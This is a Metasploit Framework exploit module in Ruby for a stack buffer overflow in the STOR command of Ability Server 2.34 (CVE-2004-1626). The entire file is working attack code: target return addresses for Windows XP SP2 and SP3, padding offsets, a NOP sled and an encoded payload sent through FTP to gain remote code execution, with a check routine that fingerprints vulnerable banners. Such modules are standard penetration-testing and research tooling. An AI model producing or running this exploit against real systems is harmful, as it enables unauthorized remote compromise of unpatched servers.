113 lines
2.8 KiB
Ruby
113 lines
2.8 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = NormalRanking
|
|
|
|
include Msf::Exploit::Remote::Ftp
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Ability Server 2.34 STOR Command Stack Buffer Overflow',
|
|
'Description' => %q{
|
|
This module exploits a stack-based buffer overflow in Ability Server 2.34.
|
|
Ability Server fails to check input size when parsing 'STOR' and 'APPE' commands,
|
|
which leads to a stack based buffer overflow. This plugin uses the 'STOR' command.
|
|
|
|
The vulnerability has been confirmed on version 2.34 and has also been reported
|
|
in version 2.25 and 2.32. Other versions may also be affected.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'muts', #Initial discovery
|
|
'Dark Eagle', #same as muts
|
|
'Peter Osterberg' #Metasploit
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2004-1626' ],
|
|
[ 'OSVDB', '11030'],
|
|
[ 'EDB', 588],
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'process'
|
|
},
|
|
'Privileged' => false,
|
|
'Payload' =>
|
|
{
|
|
'Space' => 1000,
|
|
'BadChars' => "\x00\xff"
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[
|
|
'Windows XP SP2 ENG',
|
|
{
|
|
#JMP ESP (MFC42.dll. Addr remains unchanged until a patched SP3)
|
|
'Ret' => 0x73E32ECF,
|
|
'Offset' => 966
|
|
}
|
|
],
|
|
[
|
|
'Windows XP SP3 ENG',
|
|
{
|
|
#JMP ESP (USER32.dll. Unchanged unpatched SP3 - fully pathced)
|
|
'Ret' => 0x7E429353,
|
|
'Offset' => 966
|
|
}
|
|
],
|
|
],
|
|
'DisclosureDate' => 'Oct 22 2004'
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(21),
|
|
OptString.new('FTPUSER', [ true, 'Valid FTP username', 'ftp' ]),
|
|
OptString.new('FTPPASS', [ true, 'Valid FTP password for username', 'ftp' ])
|
|
], self.class)
|
|
end
|
|
|
|
def check
|
|
connect
|
|
disconnect
|
|
if banner =~ /Ability Server 2\.34/
|
|
return Exploit::CheckCode::Vulnerable
|
|
else
|
|
if banner =~ /Ability Server/
|
|
return Exploit::CheckCode::Detected
|
|
end
|
|
end
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
|
|
def exploit
|
|
connect_login
|
|
|
|
myhost = datastore['LHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['LHOST']
|
|
|
|
# Take client ip + ftp user lengths into account for EIP offset
|
|
padd_size = target['Offset'] + (13 - myhost.length) + (3 - datastore['FTPUSER'].length)
|
|
junk = rand_text_alpha(padd_size)
|
|
|
|
sploit = junk
|
|
sploit << [target.ret].pack('V')
|
|
sploit << make_nops(32)
|
|
sploit << payload.encoded
|
|
sploit << rand_text_alpha(sploit.length)
|
|
|
|
send_cmd(['STOR', sploit], false)
|
|
handler
|
|
disconnect
|
|
end
|
|
end
|